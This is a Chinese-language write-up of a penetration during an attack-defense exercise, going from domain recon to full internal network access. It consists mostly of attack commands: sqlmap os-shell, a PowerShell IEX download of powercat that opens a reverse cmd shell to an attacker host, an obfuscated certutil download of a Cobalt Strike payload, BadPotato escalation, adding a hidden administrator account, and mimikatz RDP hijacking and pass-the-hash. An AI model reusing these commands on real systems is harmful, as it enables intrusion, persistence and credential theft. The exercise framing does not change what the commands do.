某次攻防演练中,主办方只提供了目标企业名称,其他信息都需要自己收集,这篇文章记录一下渗透过程。
既然只有目标名称,name首先根据提供的名称去查询下备案域名。一般常用的就是工信部ICP/IP地址/域名信息备案管理系统
https://beian.miit.gov.cn/
是比较精准了,但是每次查询都要点击验证码,对于我这种懒人来说还是感觉比较麻烦~ 个人使用次数比较多的是
https://www.beianx.cn/
这个网站优点就是很少触发验证码识别,缺点可能信息更新不及时/不全面,跟前一个网站可以配合着用 查询到目标备案域名后,可以在fofa、hunter上进行信息收集,或者使用谷歌语法
site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|admin|login|sys|managetem|password|username
在对主站及子域进行相关测试后,并没有发现可以利用的点;使用nmap对子域IP进行全端口探测,发现如下信息系统:
使用burp爆破弱口令未果;遂尝试SQL注入,发现漏洞存在且为DBA权限
直接os-shell,但是看不到回显
sqlmap.py -r 1.txt --os-shell
可以通dnslog,但是尝试powershell上线失败
通过powershell反弹cmd
• powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。被攻击端运行命令
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c **** -p **** -e cmd
攻击端用nc监听即可反弹出cmd。
然后使用certutil下载cs上线程序,然后执行上线。certutil是windows下一款下载文件的工具,自从WindowsServer 2003就自带。但是在Server 2003使用会有问题。也就是说,以下命令是在Win7及其以后的机器使用。但是该命令的使用会引发杀毒软件的查杀,所以在实际渗透中需要将该命令做一定的免杀处理,比如
c""""e""""r""""t""""u""""t""""i""""l.exe -urlcache -split -f http://ip/6666.exe 6666.exe
当前用户是SqlServer权限,不利于下一步的内网横向,所以要先提权,执行systeminfo可知当前为server2012系统。当前可以考虑使用BadPotato提权(提权脚本见知识星球)
当前被控机已提权至system权限,一般我们可以在CS上注入一个进程简单做一下权限维持 在CS客户端会话上
邮件-Explore-Process List-在加载出的系统进程中选择一个常见程序-下方选择Inject
至此系统提权和权限维持已完成,因为是server2012 R2版本,也没有啥比较好的办法去读密码,个人一般选择加用户或者激活guest然后搭代理登3389。添加用户:
net user aaa 123qwe... /add
这就添加了一个用户为:aaa密码为:123qwe...的用户了 第二步 将此用户提升为管理员:
net localgroup administrators aaa /add
管理员账户已经添加完成,看看受控机是否启用远程桌面连接
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
0x1表示关闭;0x0表示开启
查一下远桌面服务开在了哪个端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
之后再通过计算器来将16进制转10进制即可:
现在该有的权限、管理员账号、3389都具备了,用frp或者nps搭个代理就可以连接内网服务器了。但是还没有拿下服务器的管理员桌面,可以考虑使用rdp劫持
privilege::debug #提权
ts::sessions #查看当前主机的会话
token::elevate #提升本地管理员权限为system
ts::remote /id:2 #劫持id为2的会话
或者
privilege::debug
sekurlsa::pth /user:9821 /domain:DESKTOP-6RVIHJ2 /ntlm:e5df2c988f0d77ef35a9bdc95b5 "/run:mstsc.exe /restrictedadmin"
(手头上没有合适的机器复现了,暂且找了张图凑合看吧,图文无关~)
现在管理员桌面也搞定了,然后直接上Tscan扫内网,等待的时间可以翻翻mstsc连接记录、浏览器历史记录和记住的账号密码。这个内网资产还可以,毕竟是大企业内网而且防护相对比较薄弱,刚好Tscan的POC比较多,比较适合刷分。这里就不再一一放图了~
Tscan和提权脚本已同步知识星球。